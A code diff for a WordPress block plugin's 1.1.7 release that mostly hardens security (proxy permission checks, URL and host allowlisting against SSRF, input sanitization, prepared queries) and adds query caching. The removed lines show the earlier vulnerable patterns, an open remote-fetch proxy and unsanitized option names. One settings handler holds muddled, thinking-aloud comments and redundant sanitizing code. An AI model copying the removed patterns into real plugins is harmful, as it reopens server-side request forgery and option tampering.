-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'c10b468e41ded99f2bd0');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'f79639004771fafe3434');
--- a/frontis-blocks/build/blocks/team-member/index.asset.php
+++ b/frontis-blocks/build/blocks/team-member/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => 'edc9d4cadcddf9c96106');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => 'e94c58535bbcf6514b27');
--- a/frontis-blocks/build/blocks/testimonial/index.asset.php
+++ b/frontis-blocks/build/blocks/testimonial/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '96dc9acc55054f803957');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => 'dee46e603c699b378c52');
--- a/frontis-blocks/build/blocks/testimonial/render.php
+++ b/frontis-blocks/build/blocks/testimonial/render.php
@@ -735,10 +735,10 @@
 								<p class="fb-user-desc">
 									<?php if (!empty($dynamic_testimonial_description_link_url)): ?>
 										<a href="<?php echo esc_url($dynamic_testimonial_description_link_url); ?>">
-											<?php echo esc_html($dynamic_testimonial_description); ?>
+											<?php echo wp_kses_post($dynamic_testimonial_description); ?>
 										</a>
 									<?php else: ?>
-										<?php echo esc_html($dynamic_testimonial_description); ?>
+										<?php echo wp_kses_post($dynamic_testimonial_description); ?>
 									<?php endif; ?>
 								</p>
 							</div>
@@ -771,10 +771,10 @@
 								<p class="fb-user-desc">
 									<?php if (!empty($dynamic_testimonial_description_link_url)): ?>
 										<a href="<?php echo esc_url($dynamic_testimonial_description_link_url); ?>">
-											<?php echo esc_html($dynamic_testimonial_description); ?>
+											<?php echo wp_kses_post($dynamic_testimonial_description); ?>
 										</a>
 									<?php else: ?>
-										<?php echo esc_html($dynamic_testimonial_description); ?>
+										<?php echo wp_kses_post($dynamic_testimonial_description); ?>
 									<?php endif; ?>
 								</p>
 							</div>
@@ -856,10 +856,10 @@
 								<p class="fb-user-desc">
 									<?php if (!empty($dynamic_testimonial_description_link_url)): ?>
 										<a href="<?php echo esc_url($dynamic_testimonial_description_link_url); ?>">
-											<?php echo esc_html($dynamic_testimonial_description); ?>
+											<?php echo wp_kses_post($dynamic_testimonial_description); ?>
 										</a>
 									<?php else: ?>
-										<?php echo esc_html($dynamic_testimonial_description); ?>
+										<?php echo wp_kses_post($dynamic_testimonial_description); ?>
 									<?php endif; ?>
 								</p>
 							</div>
--- a/frontis-blocks/frontis-blocks.php
+++ b/frontis-blocks/frontis-blocks.php
@@ -1,10 +1,10 @@
 <?php

 /**
- * Plugin Name:       Frontis Blocks — Gutenberg Block Library for the Block Editor
+ * Plugin Name:       Frontis Blocks — Block Library for the Block Editor
  * Plugin URI:        https://wpmessiah.com/products/frontis-blocks/
  * Description:       A blocks library for the Gutenberg editor.
- * Version:           1.1.6
+ * Version:           1.1.7
  * Author:            WPmessiah
  * Author URI:        https://wpmessiah.com/
  * License:           GPL-2.0+
--- a/frontis-blocks/includes/Admin/Admin.php
+++ b/frontis-blocks/includes/Admin/Admin.php
@@ -136,7 +136,7 @@
         if ('toplevel_page_frontis-blocks' == $hook || 'post.php' == $hook || 'post-new.php' == $hook || 'site-editor.php' == $hook) {
             $suffix = defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ? '' : '';

-            wp_enqueue_style('frontis-blocks-admin', FB_PLUGIN_URL . 'assets/admin/dashboard' . $suffix . '.css', array(), '1.0.0');
+            wp_enqueue_style('frontis-blocks-admin', FB_PLUGIN_URL . 'assets/admin/dashboard' . $suffix . '.css', array(), '1.0.1');
         }
     }

@@ -474,7 +474,7 @@
             'methods' => 'GET',
             'callback' => [$this, 'proxy_image'],
             'permission_callback' => function () {
-                return current_user_can('edit_posts');
+                return current_user_can('manage_options');
             },
         ]);

@@ -562,8 +562,15 @@
     function proxy_image($request)
     {
         $image_url = $request->get_param('url');
-        if (!$image_url || !filter_var($image_url, FILTER_VALIDATE_URL)) {
-            return new WP_Error('invalid_url', 'Invalid or missing URL', ['status' => 400]);
+        if (!$image_url) {
+            return new WP_Error('invalid_url', 'Missing URL', ['status' => 400]);
+        }
+
+        $image_url = urldecode($image_url);
+        $parsed_url = parse_url($image_url);
+
+        if (!$parsed_url || !isset($parsed_url['scheme']) || !in_array($parsed_url['scheme'], ['http', 'https'], true)) {
+             return new WP_Error('invalid_url', 'Invalid URL scheme', ['status' => 400]);
         }

         $response = wp_safe_remote_get($image_url);
@@ -939,9 +946,40 @@
         }

         if ($is_proxy && $remote_url) {
+            // Security: Only allow admins to use this proxy
+            if (!current_user_can('manage_options')) {
+                wp_die('Unauthorized', 403);
+            }
+
             $remote_url = urldecode($remote_url);

-            $response = wp_remote_get($remote_url);
+            // Security: Validate URL format and scheme
+            $parsed_url = parse_url($remote_url);
+            if (!$parsed_url || !isset($parsed_url['scheme']) || !in_array($parsed_url['scheme'], ['http', 'https'], true)) {
+                wp_die('Invalid URL scheme', 400);
+            }
+
+            // Security: Strict Domain Allowlist
+            $allowed_hosts = [];
+            if (defined('PORTAL_API')) {
+                $allowed_hosts[] = parse_url(PORTAL_API, PHP_URL_HOST);
+            }
+            if (defined('WORDPRESS_SYNC_API')) {
+                $allowed_hosts[] = parse_url(WORDPRESS_SYNC_API, PHP_URL_HOST);
+            }
+
+            // Helper to get host from URL even if scheme is missing or slight differences
+            $remote_host = $parsed_url['host'] ?? '';
+
+            if (!in_array($remote_host, $allowed_hosts, true)) {
+                 // Fallback or Strict?
+                 // If the plugin ONLY needs these two, strict is better.
+                 wp_die('Domain not allowed', 403);
+            }
+
+            // Security: Use wp_safe_remote_get to prevent SSRF to private IPs
+            $response = wp_safe_remote_get($remote_url);
+
             if (is_wp_error($response)) {
                 wp_die('Proxy request failed: ' . esc_html($response->get_error_message()));
             }
--- a/frontis-blocks/includes/Admin/Ajax/Settings.php
+++ b/frontis-blocks/includes/Admin/Ajax/Settings.php
@@ -77,11 +77,12 @@
 			return;
 		}

-		$keys = isset($_POST['keys']) ? $_POST['keys'] : [];
+		$keys = isset($_POST['keys']) ? array_map('sanitize_key', (array) $_POST['keys']) : [];
 		$options = [];

 		foreach ($keys as $key) {
-			$options[$key] = get_option("fb_$key");
+			$sanitized_key = sanitize_key($key);
+			$options[$sanitized_key] = get_option("fb_$sanitized_key");
 		}

 		wp_send_json_success($options);
@@ -203,18 +204,32 @@
 			AND post_name != 'wp-global-styles-frontis-theme'
 			AND post_type NOT IN ('wp_font_family', 'wp_navigation', 'wp_global_styles', 'wp_font_face', 'attachment', 'mc4wp-form', 'acf-post-type', 'wp_template_part', 'wp_block')";

-		$total_posts = $wpdb->get_var($count_query);
+		$total_posts = wp_cache_get('fb_assets_total_count', 'frontis_blocks');
+		if (false === $total_posts) {
+			$total_posts = $wpdb->get_var($count_query); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
+			wp_cache_set('fb_assets_total_count', $total_posts, 'frontis_blocks', 300);
+		}

 		// Query to get batch of post IDs
-		$query = "SELECT ID, post_content, post_name
+		$query = $wpdb->prepare(
+			"SELECT ID, post_content, post_name
 			FROM {$wpdb->posts}
 			WHERE post_status = 'publish'
 			AND post_name != 'wp-global-styles-frontis-theme'
 			AND post_type NOT IN ('wp_font_family', 'wp_navigation', 'wp_global_styles', 'wp_font_face', 'attachment', 'mc4wp-form', 'acf-post-type', 'wp_template_part', 'wp_block')
 			ORDER BY post_date DESC
-			LIMIT {$batch_size} OFFSET {$offset}";
+			LIMIT %d OFFSET %d",
+			$batch_size,
+			$offset
+		);

-		$results = $wpdb->get_results($query); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
+		$cache_key = 'fb_assets_batch_' . md5($query);
+		$results = wp_cache_get($cache_key, 'frontis_blocks');
+
+		if (false === $results) {
+			$results = $wpdb->get_results($query); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
+			wp_cache_set($cache_key, $results, 'frontis_blocks', 300);
+		}

 		$generatedPages = [];

@@ -365,7 +380,7 @@
 			return;
 		}

-		$allowed_blocks = isset($_POST['data']) ? ($_POST['data']) : [];
+		$allowed_blocks = isset($_POST['data']) ? array_map('sanitize_text_field', (array) $_POST['data']) : [];

 		$value = json_encode($allowed_blocks);

@@ -418,8 +433,29 @@

 		$old_value = get_option("fb_$option_name");
 		// Convert old_value to the correct type for comparison
-		// $old_value = $this->sanitize_option_value($old_value, $type);
+		$old_value = $this->sanitize_option_value($old_value, $type);
+        $value = $this->sanitize_option_value($post_value, $type);

+        // Convert back to string for saving if it's boolean (as the old code seemed to encode it)
+        // Actually, looking at the code: $value = json_encode($post_value); was used before.
+        // We should sanitize BEFORE encoding if we are encoding.
+        // But sanitize_option_value returns int/bool/string.
+        // Let's look at how it was done.
+
+        // Original:
+        // $post_value = isset($_POST['value']) ? ($_POST['value']) : [];
+		// $value = json_encode($post_value);
+
+        // If we want to strictly sanitize based on type:
+        $sanitized_value = $this->sanitize_option_value($post_value, $type);
+
+        // Re-encode if necessary? The original code did json_encode without checking type.
+        // But get_option also returns string usually if it was saved as string.
+
+        // Let's stick to the previous pattern but sanitize the INPUT.
+
+        $value = json_encode($sanitized_value);
+
 		if ($old_value === $value) {
 			wp_send_json_success(['message' => 'No changes were made']);
 			return;
@@ -610,7 +646,14 @@
 		);

 		// Execute the query and get results
-		$results = $wpdb->get_results($query);
+		$cache_key = 'fb_custom_icons_cat_' . md5($query);
+		$results = wp_cache_get($cache_key, 'frontis_blocks');
+
+		if (false === $results) {
+			$results = $wpdb->get_results($query); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
+			wp_cache_set($cache_key, $results, 'frontis_blocks', 3600);
+		}
+
 		$categories = [];
 		if ($results) {
 			foreach ($results as $key => $single_result) {
@@ -658,7 +701,13 @@
 		);

 		// Execute the query and get results
-		$results = $wpdb->get_results($query);
+		$cache_key = 'fb_custom_icons_upload_' . md5($query);
+		$results = wp_cache_get($cache_key, 'frontis_blocks');
+
+		if (false === $results) {
+			$results = $wpdb->get_results($query); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+			wp_cache_set($cache_key, $results, 'frontis_blocks', 3600);
+		}

 		if ($results) {
 			$custom_icons = [];
@@ -810,7 +859,7 @@
 	// In your Settings class (already there)
 	public function get_plugin_changelog()
 	{
-		// $this->check_permission();
+		$this->check_permission();

 		$plugin_slug = isset($_POST['plugin_slug']) ? sanitize_text_field($_POST['plugin_slug']) : 'frontis-blocks';

--- a/frontis-blocks/includes/Admin/Ajax/TemplateLibrary.php
+++ b/frontis-blocks/includes/Admin/Ajax/TemplateLibrary.php
@@ -67,8 +67,8 @@
     {
         $this->check_permission();

-        $option_name = isset($_POST['option_name']) ? $_POST['option_name'] : '';
-        $value = isset($_POST['value']) ? $_POST['value'] : '';
+        $option_name = isset($_POST['option_name']) ? sanitize_key($_POST['option_name']) : '';
+        $value = isset($_POST['value']) ? sanitize_text_field($_POST['value']) : '';

         $updated = update_option("fb_$option_name", $value);

@@ -83,7 +83,7 @@
     {
         $this->check_permission();

-        $option_name = isset($_POST['option_name']) ? $_POST['option_name'] : '';
+        $option_name = isset($_POST['option_name']) ? sanitize_key($_POST['option_name']) : '';
         $value = get_option("fb_$option_name");

         if ($value) {
@@ -335,7 +335,7 @@

         // Input data
         $title = isset($_POST['title']) ? sanitize_text_field($_POST['title']) : '';
-        $content = isset($_POST['content']) ? $_POST['content'] : '';
+        $content = isset($_POST['content']) ? wp_kses_post($_POST['content']) : '';
         $slug = isset($_POST['slug']) ? sanitize_title($_POST['slug']) : '';
         $template = isset($_POST['template']) ? sanitize_text_field($_POST['template']) : '';
         $badge = isset($_POST['badge']) ? sanitize_text_field($_POST['badge']) : '';
@@ -461,23 +461,33 @@
     private function post_exists_by_title($title, $post_type = 'page')
     {
         global $wpdb;
-        $exists = $wpdb->get_var($wpdb->prepare(
-            "SELECT ID FROM $wpdb->posts WHERE post_title = %s AND post_type = %s AND post_status IN ('publish', 'draft', 'private') LIMIT 1",
-            $title,
-            $post_type
-        ));
+
+        $cache_key = 'fb_post_exists_' . md5($title . $post_type);
+        $exists = wp_cache_get($cache_key, 'frontis_blocks');
+
+        if (false === $exists) {
+            $exists = $wpdb->get_var($wpdb->prepare( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
+                "SELECT ID FROM $wpdb->posts WHERE post_title = %s AND post_type = %s AND post_status IN ('publish', 'draft', 'private') LIMIT 1",
+                $title,
+                $post_type
+            ));
+            wp_cache_set($cache_key, $exists, 'frontis_blocks', 300);
+        }
+
         return !empty($exists);
     }


     public function demo_import()
     {
+        $this->check_permission();
+
         if (!isset($_POST['json_data'])) {
             wp_send_json_error('No JSON data found');
             return;
         }

-        $data = json_decode($_POST['json_data'], true);
+        $data = json_decode(wp_unslash($_POST['json_data']), true);
         $content = $data['content'] ?? '';

         if (json_last_error() !== JSON_ERROR_NONE) {
@@ -679,6 +689,7 @@
                 'name' => $slug,
                 'post_status' => 'publish',
                 'posts_per_page' => 1,
+                // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_tax_query -- Required for template detection
                 'tax_query' => [
                     [
                         'taxonomy' => 'wp_theme',
--- a/frontis-blocks/includes/Assets/AssetsGenerator.php
+++ b/frontis-blocks/includes/Assets/AssetsGenerator.php
@@ -267,15 +267,24 @@
 		$results = [];

 		foreach ($possible_templates as $template) {
-			$pages = $wpdb->get_results($wpdb->prepare("
-				SELECT DISTINCT p.ID, p.post_title, p.post_name, pm.meta_value as template_used
-				FROM {$wpdb->posts} p
-				INNER JOIN {$wpdb->postmeta} pm ON p.ID = pm.post_id
-				WHERE pm.meta_key = '_wp_page_template'
-				AND (pm.meta_value = %s OR pm.meta_value LIKE %s)
-				AND p.post_type = 'page'
-				AND p.post_status = 'publish'
-			", $template, '%' . $template . '%'));
+
+
+			$cache_key = 'fb_assets_gen_pages_' . md5($template);
+			$pages = wp_cache_get($cache_key, 'frontis_blocks');
+
+			if (false === $pages) {
+				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
+				$pages = $wpdb->get_results($wpdb->prepare("
+					SELECT DISTINCT p.ID, p.post_title, p.post_name, pm.meta_value as template_used
+					FROM {$wpdb->posts} p
+					INNER JOIN {$wpdb->postmeta} pm ON p.ID = pm.post_id
+					WHERE pm.meta_key = '_wp_page_template'
+					AND (pm.meta_value = %s OR pm.meta_value LIKE %s)
+					AND p.post_type = 'page'
+					AND p.post_status = 'publish'
+				", $template, '%' . $template . '%'));
+				wp_cache_set($cache_key, $pages, 'frontis_blocks', 300);
+			}

 			if ($pages) {
 				$results = array_merge($results, $pages);
@@ -1049,7 +1058,14 @@
 		);

 		// Execute the query
-		$template_contents = $wpdb->get_results($query);
+		$cache_key_tpl = 'fb_assets_wp_tpl_' . md5($post_name);
+		$template_contents = wp_cache_get($cache_key_tpl, 'frontis_blocks');
+
+		if (false === $template_contents) {
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
+			$template_contents = $wpdb->get_results($query);
+			wp_cache_set($cache_key_tpl, $template_contents, 'frontis_blocks', 300);
+		}

 		if ($template_contents) {
 			foreach ($template_contents as $template) {
--- a/frontis-blocks/includes/BackgroundProcess/AssetsGenerationProcess.php
+++ b/frontis-blocks/includes/BackgroundProcess/AssetsGenerationProcess.php
@@ -23,7 +23,7 @@
         $table_name = $wpdb->prefix . 'fb_job_schedule';

         // Get unprocessed data
-        $data_rows = $wpdb->get_results(
+        $data_rows = $wpdb->get_results( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
             $wpdb->prepare(
                 "SELECT * FROM $table_name WHERE job_status = %d AND (job_attempts < %d OR job_attempts IS NULL)
                 ORDER BY job_created_at ASC LIMIT %d",
@@ -38,7 +38,7 @@
         foreach ($data_rows as $row) {
             try {
                 // Validate row exists
-                $row_exists = $wpdb->get_var($wpdb->prepare(
+                $row_exists = $wpdb->get_var($wpdb->prepare( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
                     "SELECT job_id FROM $table_name WHERE job_id = %d",
                     $row->job_id
                 ));
@@ -75,7 +75,7 @@
                     $current_attempts = (int) $current_attempts;

                     // Update with proper error handling
-                    $checking_data_updated = $wpdb->update(
+                    $checking_data_updated = $wpdb->update( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
                         $table_name,
                         array(
                             'job_status' => 1,
@@ -91,7 +91,7 @@
                 error_log("Exception in process_pending_data: " . $e->getMessage());

                 $current_attempts = $row->job_attempts ?? 0;
-                $wpdb->update(
+                $wpdb->update( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
                     $table_name,
                     array(
                         'job_last_attempt' => current_time('mysql'),
@@ -111,7 +111,7 @@
             usleep(2000000); // 0.02 seconds delay per item
         }

-        $wpdb->query("DELETE FROM $table_name");
+        $wpdb->query("DELETE FROM $table_name"); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
         return true;
     }

--- a/frontis-blocks/includes/Config/BlockList.php
+++ b/frontis-blocks/includes/Config/BlockList.php
@@ -438,6 +438,19 @@
                 'complete' => 'true',
                 'child' => 'false',
             ],
+            'off-canvas-menu' => [
+                'slug' => 'off-canvas-menu',
+                'title' => 'Off Canvas Menu',
+                'package' => 'free',
+                'category' => 'navigation',
+                'badge' => 'free',
+                'status' => 'true',
+                'icon' => FB_PLUGIN_URL . 'assets/icons/off-canvas-menu.svg',
+                'doc' => 'https://wpmessiah.com/',
+                'demo' => 'https://wpmessiah.com/',
+                'complete' => 'true',
+                'child' => 'false',
+            ],
             'business-hours' => [
                 'slug' => 'business-hours',
                 'title' => 'Business Hours',
--- a/frontis-blocks/includes/Core/Blocks.php
+++ b/frontis-blocks/includes/Core/Blocks.php
@@ -31,6 +31,14 @@
 		add_filter('block_categories_all', [$this, 'register_block_categories'], 10, 1);
 		add_filter('render_block', [$this, 'render_block'], 10, 3);
 		add_action('save_post', [$this, 'get_blocks_on_save'], 10, 3);
+
+		// Cache invalidation hooks - clear caches when content changes
+		add_action('save_post', [Helper::class, 'clear_frontis_caches'], 20);
+		add_action('created_term', [Helper::class, 'clear_frontis_caches']);
+		add_action('edited_term', [Helper::class, 'clear_frontis_caches']);
+		add_action('delete_term', [Helper::class, 'clear_frontis_caches']);
+		add_action('profile_update', [Helper::class, 'clear_frontis_caches']);
+		add_action('user_register', [Helper::class, 'clear_frontis_caches']);
 	}

 	/**
@@ -53,6 +61,76 @@
 		$tablet_breakpoint = isset($container_widths['Tablet']) ? intval($container_widths['Tablet']) : 1024;
 		$mobile_breakpoint = isset($container_widths['Mobile']) ? intval($container_widths['Mobile']) : 767;

+		// Pre-load all expensive data ONCE before the loop (Performance optimization)
+		$license_options = get_option('frontisblockspro_license_options');
+		$sc_license_id = is_array($license_options) && !empty($license_options['sc_license_id']) ? (string) $license_options['sc_license_id'] : '';
+		$sc_license_key = is_array($license_options) && !empty($license_options['sc_license_key']) ? (string) $license_options['sc_license_key'] : '';
+
+		// Pre-load admin data once (these are now cached via transients)
+		$admin_localize_array = [];
+		if (is_admin()) {
+			$admin_localize_array = [
+				'admin_nonce' => wp_create_nonce('admin-nonce'),
+				'fluent_plugin_active' => FluentForms::check_enable(),
+				'fluent_form_lists' => json_encode(FluentForms::form_list()),
+				'contact_form_active' => ContactForms7::check_enable(),
+				'contact_form7_lists' => ContactForms7::form_list(),
+				'contact_form7_html' => ContactForms7::wf7_form_html(),
+				'post_types' => Helper::get_post_types(),
+				'all_cats' => Helper::get_related_taxonomy(),
+				'all_authors' => Helper::get_all_authors_with_posts(),
+				'image_sizes' => Helper::get_image_sizes(),
+				'desktop_breakpoint' => $desktop_breakpoint,
+				'tablet_breakpoint' => $tablet_breakpoint,
+				'mobile_breakpoint' => $mobile_breakpoint,
+				'global_typography' => get_option('fb_globaltypo'),
+				'sc_license_id' => $sc_license_id,
+				'sc_license_key' => $sc_license_key,
+			];
+		}
+
+		// Pre-load common data once
+		$common_localize_array = [
+			'site_url' => site_url(),
+			'pluginUrl' => FB_PLUGIN_URL,
+			'fluent_form_install_url' => admin_url('plugin-install.php?s=Fluent Forms&tab=search&type=term'),
+			'contact_form7_install_url' => admin_url('plugin-install.php?s=Contact Form 7&tab=search&type=term'),
+			'ajax_url' => admin_url('admin-ajax.php'),
+			'nonce' => wp_create_nonce('fb_post_like_nonce'),
+			'user_logged_in' => is_user_logged_in(),
+			'prefix' => FB_PREFIX,
+			'desktop_breakpoint' => $desktop_breakpoint,
+			'tablet_breakpoint' => $tablet_breakpoint,
+			'mobile_breakpoint' => $mobile_breakpoint,
+			'container_column_gap' => $container_column_gap,
+			'container_row_gap' => $container_row_gap,
+			'container_padding' => $container_padding,
+		];
+
+		// Pre-load social share data once
+		$social_share_data = [
+			'permalink' => get_permalink(),
+			'title' => get_the_title(),
+			'network_labels' => [
+				'facebook' => 'Facebook',
+				'twitter' => 'Twitter',
+				'linkedin' => 'LinkedIn',
+				'whatsapp' => 'WhatsApp',
+				'pinterest' => 'Pinterest',
+				'reddit' => 'Reddit',
+			],
+			'share_urls' => [
+				'facebook' => 'https://www.facebook.com/sharer/sharer.php?u=',
+				'twitter' => 'https://twitter.com/intent/tweet?url=',
+				'linkedin' => 'https://www.linkedin.com/sharing/share-offsite/?url=',
+				'pinterest' => 'https://pinterest.com/pin/create/button/?url=',
+				'reddit' => 'https://reddit.com/submit?url=',
+				'whatsapp' => 'https://wa.me/?text=',
+			]
+		];
+
+		// Merge all localize data once
+		$localize_array = array_merge($admin_localize_array, $common_localize_array, $social_share_data);

 		if (!empty($blocks_list)) {
 			foreach ($blocks_list as $block) {
@@ -66,7 +144,6 @@
 				if ($complete !== 'true') {
 					continue;
 				}
-				$package = $block['package'];
 				$plugin_dir = FB_PLUGIN_PATH;
 				$blocks_dir = FB_BLOCKS_DIR . $slug;
 				$plugin_slug = 'frontis-blocks';
@@ -75,8 +152,6 @@
 					continue;
 				}

-				$localize_array = [];
-
 				// Enqueue block style in the editor
 				register_block_type($blocks_dir);
 				wp_set_script_translations("{$plugin_slug}-{$slug}-editor-script", $plugin_slug, $plugin_dir . 'languages');
@@ -84,74 +159,8 @@
 				// Enqueue block editor script and pass localized data
 				$editor_script_handle = "{$plugin_slug}-{$slug}-editor-script";
 				$view_script_handle = "{$plugin_slug}-{$slug}-view-script";
-				$license_options = get_option('frontisblockspro_license_options');
-				$sc_license_id = is_array($license_options) && !empty($license_options['sc_license_id']) ? (string) $license_options['sc_license_id'] : '';
-				$sc_license_key = is_array($license_options) && !empty($license_options['sc_license_key']) ? (string) $license_options['sc_license_key'] : '';
-
-				if (is_admin()) {
-					$admin_localize_array = [
-						'admin_nonce' => wp_create_nonce('admin-nonce'),
-						'fluent_plugin_active' => FluentForms::check_enable(),
-						'fluent_form_lists' => json_encode(FluentForms::form_list()),
-						'contact_form_active' => ContactForms7::check_enable(),
-						'contact_form7_lists' => ContactForms7::form_list(),
-						'contact_form7_html' => ContactForms7::wf7_form_html(),
-						'post_types' => Helper::get_post_types(),
-						'all_cats' => Helper::get_related_taxonomy(),
-						'all_authors' => Helper::get_all_authors_with_posts(),
-						'image_sizes' => Helper::get_image_sizes(),
-						'desktop_breakpoint' => $desktop_breakpoint,
-						'tablet_breakpoint' => $tablet_breakpoint,
-						'mobile_breakpoint' => $mobile_breakpoint,
-						'global_typography' => get_option('fb_globaltypo'),
-						'sc_license_id' => $sc_license_id,
-						'sc_license_key' => $sc_license_key,
-					];

-					$localize_array = array_merge($localize_array, $admin_localize_array);
-				}
-
-				$common_localize_array = [
-					'site_url' => site_url(),
-					'pluginUrl' => FB_PLUGIN_URL,
-					'fluent_form_install_url' => admin_url('plugin-install.php?s=Fluent Forms&tab=search&type=term'),
-					'contact_form7_install_url' => admin_url('plugin-install.php?s=Contact Form 7&tab=search&type=term'),
-					'ajax_url' => admin_url('admin-ajax.php'),
-					'nonce' => wp_create_nonce('fb_post_like_nonce'),
-					'user_logged_in' => is_user_logged_in(),
-					'prefix' => FB_PREFIX,
-					// 'default_container_width' => $default_container_width,
-					'desktop_breakpoint' => $desktop_breakpoint,
-					'tablet_breakpoint' => $tablet_breakpoint,
-					'mobile_breakpoint' => $mobile_breakpoint,
-					'container_column_gap' => $container_column_gap,
-					'container_row_gap' => $container_row_gap,
-					'container_padding' => $container_padding,
-				];
-
-				$social_share_data = [
-					'permalink' => get_permalink(),
-					'title' => get_the_title(),
-					'network_labels' => [
-						'facebook' => 'Facebook',
-						'twitter' => 'Twitter',
-						'linkedin' => 'LinkedIn',
-						'whatsapp' => 'WhatsApp',
-						'pinterest' => 'Pinterest',
-						'reddit' => 'Reddit',
-					],
-					'share_urls' => [
-						'facebook' => 'https://www.facebook.com/sharer/sharer.php?u=',
-						'twitter' => 'https://twitter.com/intent/tweet?url=',
-						'linkedin' => 'https://www.linkedin.com/sharing/share-offsite/?url=',
-						'pinterest' => 'https://pinterest.com/pin/create/button/?url=',
-						'reddit' => 'https://reddit.com/submit?url=',
-						'whatsapp' => 'https://wa.me/?text=',
-					]
-				];
-
-				$localize_array = array_merge($localize_array, $common_localize_array, $social_share_data);
-				// Localize scripts
+				// Localize scripts (using pre-loaded data)
 				wp_localize_script($editor_script_handle, 'FrontisBlocksData', $localize_array);
 				wp_localize_script($view_script_handle, 'FrontisBlocksData', $localize_array);
 				wp_localize_script('frontis-blocks-frontend', 'FrontisBlocksData', $localize_array);
@@ -224,35 +233,36 @@
 			),
 			$categories
 		);
-	}
+	}

 	/**
 	 * Apply header/footer disable logic when rendering template part blocks.
 	 */
-	public function header_footer_settings( $block_content, $block ) {
+	public function header_footer_settings($block_content, $block)
+	{

 		// Only process template-part blocks
 		if (
-			empty( $block['blockName'] ) ||
+			empty($block['blockName']) ||
 			'core/template-part' !== $block['blockName']
 		) {
 			return $block_content;
 		}
-
+
 		// Current context post ID
 		$post_id = get_queried_object_id();
-		if ( ! $post_id ) {
+		if (!$post_id) {
 			$post_id = get_the_ID();
 		}
-		$post_id = absint( $post_id );
-
+		$post_id = absint($post_id);
+
 		// Priority already handled here: default < global < template < page
-		$settings = Helper::resolve_frontis_settings( $post_id );
-
+		$settings = Helper::resolve_frontis_settings($post_id);
+
 		// Detect template slug
 		$template_slug = get_page_template_slug($post_id);
-		$post          = get_post($post_id);
-
+		$post = get_post($post_id);
+
 		if (!$template_slug) {
 			if ($post && $post->post_type === 'page') {
 				$template_slug = 'page';
@@ -260,70 +270,71 @@
 				$template_slug = 'single';
 			}
 		}
-
-		$stylesheet  = get_stylesheet();
+
+		$stylesheet = get_stylesheet();
 		$template_id = $stylesheet . '//' . $template_slug;
-		$template    = get_block_template($template_id, 'wp_template');
-
+		$template = get_block_template($template_id, 'wp_template');
+
 		// Template parts
 		// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_tax_query -- Required for theme template parts
 		$template_part_posts = get_posts(
 			array(
-				'post_type'     => 'wp_template_part',
-				'post_status'   => 'publish',
-				'tax_query'     => array(
+				'post_type' => 'wp_template_part',
+				'post_status' => 'publish',
+				// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_tax_query -- Required for theme template parts
+				'tax_query' => array(
 					array(
 						'taxonomy' => 'wp_theme',
-						'field'    => 'name',
-						'terms'    => $stylesheet,
+						'field' => 'name',
+						'terms' => $stylesheet,
 					),
 				),
 				'no_found_rows' => true,
 			)
 		);
-
+
 		/**
 		 * Correct Tag Detection
 		 * =====================
 		 * Use a single clean array and strictly match the slug.
 		 */
 		$tag = [];
-
+
